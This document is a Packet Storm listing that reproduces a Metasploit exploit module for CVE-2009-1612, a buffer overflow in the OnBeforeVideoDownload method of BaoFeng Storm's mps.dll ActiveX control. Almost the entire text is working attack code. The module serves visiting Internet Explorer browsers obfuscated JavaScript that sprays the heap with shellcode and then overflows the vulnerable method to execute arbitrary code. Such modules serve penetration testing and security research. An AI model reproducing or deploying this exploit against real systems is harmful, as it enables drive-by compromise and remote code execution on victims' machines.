BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow

2010-03-0300:00:00
jduck
packetstormsecurity.com
0.936 High
EPSS
Percentile
99.1%
JSON
`##  
# $Id: baofeng_storm_onbeforevideodownload.rb 8685 2010-03-02 02:26:55Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BaoFeng Storm mps.dll ActiveX OnBeforeVideoDownload Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in BaoFeng's Storm media Player ActiveX  
control. Verions of mps.dll including 3.9.4.27 and lower are affected. When passing  
an overly long string to the method "OnBeforeVideoDownload" an attacker can execute  
arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 8685 $',  
'References' =>  
[  
[ 'CVE', '2009-1612' ],  
[ 'OSVDB', '54169' ],  
[ 'BID', '34789' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/8579' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# untested, please contribute the vulnerable software if possible.  
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]  
],  
'DisclosureDate' => 'Apr 30 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])  
], self.class)  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# ActiveX parameters  
clsid = "6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB"  
progid = "MPS.StormPlayer.1"  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Prepare the heap spray parameters  
spray_addr = 0x0c0c0c0c  
spray_num = "0x%x" % spray_addr  
spray_str = Rex::Text.to_hex([spray_addr].pack('V'), '%')  
  
# Generate the final javascript  
js = %Q|  
try {  
var vulnerable = new ActiveXObject('#{progid}');  
var my_unescape = unescape;  
var shellcode = '#{shellcode}';  
#{js_heap_spray}  
sprayHeap(my_unescape(shellcode), #{spray_num}, 0x40000);  
var evil_string = '';  
while (evil_string.length < 4150)  
evil_string += my_unescape('#{spray_str}');  
vulnerable.OnBeforeVideoDownload(evil_string);  
} catch( e ) { window.location = 'about:blank' ; }  
|  
  
# Obfuscate the javascript  
opts = {  
'Strings' => true,  
'Symbols' => {  
'Variables' => %w{ vulnerable shellcode my_unescape index evil_string }  
}  
}  
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)  
js.update_opts(js_heap_spray.opts)  
js.obfuscate()  
  
# Generate the final HTML  
content = %Q|<html>  
<body>  
<script><!--  
#{js}  
//</script>  
</body>  
</html>  
|  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
0.936 High
EPSS
Percentile
99.1%
JSON
Related for PACKETSTORM:86836